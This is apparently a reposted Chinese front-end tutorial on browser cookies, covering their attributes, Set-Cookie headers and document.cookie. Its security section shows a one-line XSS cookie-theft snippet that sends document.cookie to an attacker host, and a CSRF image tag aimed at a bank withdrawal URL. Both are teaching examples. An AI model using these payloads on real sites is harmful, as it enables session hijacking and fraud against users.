前端须知的 Cookie 知识小结
cookie 是什么和使用場景
cookie 是服務器端保存在瀏覽器的一小段文本信息,瀏覽器每次向服務器端發出請求,都會附帶上這段信息(不是所有都帶上,具體的下文會介紹)
使用場景:
- 對話管理:保存登錄、購物車等需要記錄的信息
- 個性化:保存用戶的偏好,比如網頁的字體大小、背景色等等
- 追蹤:記錄和分析用戶的行為
以上用得較多的還是第一種場景。
我們有時候用 cookie 作為客戶端儲存,可行但不推薦。因為 cookie 本身大小有所限制,而且會影響性能。存儲還是應該考慮localStorage 、sesseionStorage 或者 indexDB
cookie 的幾個重要屬性
在了解各個屬性之前,我們先打開瀏覽器調試——Application——Cookies——選中一個域
上面就會有這些 cookie 的名稱,值,Domain,Path,Expires/Max-age,Size,HTTP,Secure
?
?
?
我們接下來就是要講這里面幾個重要的點
Expires 和 Max-Age
這兩個屬性涉及到 cookie 的存活時間
Expires 屬性指定一個具體的到期時間,到了這個指定的時間之后,瀏覽器就不再保留這個 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式進行轉換
設置如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; 復制代碼Max-Age 屬性制定了從現在開始 cookie 存在的秒數,比如 60 * 60 * 24 * 365(即一年)。過了這個時間以后,瀏覽器就不再保留這個 Cookie
Max-Age 的優先級會比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客戶端的時間可能有誤)比較小。
如果兩者都不設置的,那么這個 cookie 就是Session Cookie,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie
Domain 和 path
這兩個屬性決定了,HTTP 請求的時候,哪些請求會帶上哪些 Cookie,具體下面會做講解。
Secure 和 HttpOnly
Secure 屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的 Secure 屬性。該屬性只是一個開關,不需要指定值。如果通信是 HTTPS 協議,該開關自動打開。
設置了 Secure 這個屬性,那么就會在 Secure 這一欄打鉤
?
?
?
HttpOnly 屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是Document.cookie 屬性、XMLHttpRequest 對象和Request API都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie。
設置了 HttpOnly 這個屬性,那么就會在 HTTP 這一欄打鉤
?
?
?
cookie 和 HTTP 協議
HTTP response——cookie 生成
如果服務器端希望在瀏覽器種 cookie,那么它只需要在 HTTP 請求頭信息中,放置一個 Set-Cookie 的字段。舉個例子:
Set-Cookie:foo=bar
那么就會在瀏覽器種保存一個名為 foo,值為 bar 的 cookie
除了值之外,還可以設置其他的屬性
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly 復制代碼當然,一個 Set-Cookie 字段是可以同時包含多個屬性(而且沒有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly 復制代碼注意一點就是,如果你想要使用 Set-Cookie 修改一個已經存在的 cookie 的值,那么要注意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會生成一個新的 cookie,而不是修改它的值
比如,原有的 cookie 為:
Set-Cookie: key1=value1; domain=example.com; path=/blog 復制代碼那么你正確的修改方式應該是:
Set-Cookie: key1=value2; domain=example.com; path=/blog 復制代碼如果你的修改方式如下的話:
Set-Cookie: key1=value2; domain=example.com; path=/ 復制代碼就會在瀏覽器端設置兩個同名的 cookie 如下:
Cookie: key1=value1; key1=value2 復制代碼這不是我們希望看到的!
HTTP request——cookie 發送
這里涉及到一個問題,是不是每個請求我們都會帶上所有的 cookie,顯然不是的,要不性能就會十分低下了。那么瀏覽器是根據什么判別哪些請求會帶上哪些 cookie 呢?
這就跟 Domain 和 path 屬性息息相關了
比如,現在一個 cookie 它的 Domain 屬性為 www.example.com,path 屬性值為 /。意味著,這個 cookie 對該域的根路徑以及它的所有子路徑都有效。如果我們修改了它的 path 值,為 /forums,那么這個 cookie 只要在訪問 www.example.com/forums 及其子路徑時才會帶上。
cookie 和安全
會話劫持和XSS
在 Web 應用中,cookie 常用來標記用戶或授權會話,如果這些信息(cookie)會被竊取,可能導致授權用戶的會話從而網頁收到攻擊,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 復制代碼HttpOnly 類型的 cookie 就可以組織 Js 對其的訪問從而緩解這種攻擊
跨站點請求偽造(CSRF)
比如某個網站的圖片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> 復制代碼當你打開這個圖片的時候,如果你登錄之前的銀行賬號而且 cookie 仍然有效(還沒有其他驗證的步驟,有點極端),那么你的賬戶就有可能有危險了。
cookie 自動刪除和手動刪除
在了解 cookie 自動刪除之前,我們先來了解小 cookie 的一些限制條件:
- 發送到服務器端的所有 cookie 的最大數量不能超出 4kb,所有超出該限制的 cookie 都會被截斷并且不會發送到服務器端。
- IE7 以后限制每個域名下 cookie 的數量不得超過 50 個,Opera 限定 cookie 的數量為 30個,Safari 和 Chrome 就沒有這種限制。
其限制的原因,主要在于阻止 cookie 的濫用,而且 cookie 會被發送到服務器端,如果數量太大的話,會嚴重影響請求的性能。以上這兩個限制條件,就是 cookie 為什么會被瀏覽器自動刪除的原因了。
自動刪除主要存在以下幾種可能:
- 會話 cookie(session cookie)在會話結束的時候(瀏覽器關閉)會被刪除
- 持久化 cookie(Persistent cookie)在到達失效日期的時候會被刪除
- 瀏覽器的 cookie 達到上限,會自動清除,然后為新建的 cookie 騰出空間
document.cookie
對于前端而言,我們獲取 cookie 和設置 cookie 都是通過 document.cookie 的方式進行的。
讀取 cookie
獲取如下(當然是這個 cookie 沒有 HttpOnly 屬性)
?
?
?
可以看到,document.cookie 是將所有的可以讀的 cookie 一次性讀出來的,使用分號分割,所以必須手動的分割
var cookies = document.cookie.split(';');for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]); } // foo=bar // baz=bar 復制代碼寫入cookie
我們可以通過 document.cookie 為當前的網站添加 cookie
document.cookie = 'fontSize=14'; 復制代碼寫入的時候,Cookie 的值必須寫成 key=value 的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用 encodeURIComponent 方法達到。
但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆蓋,而是添加。
document.cookie = 'test1=hello'; document.cookie = 'test2=world'; document.cookie // test1=hello;test2=world 復制代碼寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性。
例如:
document.cookie = 'fontSize=14; '+ 'expires=' + someDate.toGMTString() + '; '+ 'path=/subdirectory; '+ 'domain=*.example.com'; 復制代碼刪除 cookie
刪除一個現存 Cookie 的唯一方法,是設置它的 expires 屬性為一個過去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT'; 復制代碼?
作者:Gping
鏈接:https://juejin.im/post/5cd60dd751882520365ab55a
來源:掘金
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
總結
以上是生活随笔為你收集整理的前端须知的 Cookie 知识小结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 股票红和绿代表什么
- 下一篇: 快速计算文件的MD5/SHA1/SHA2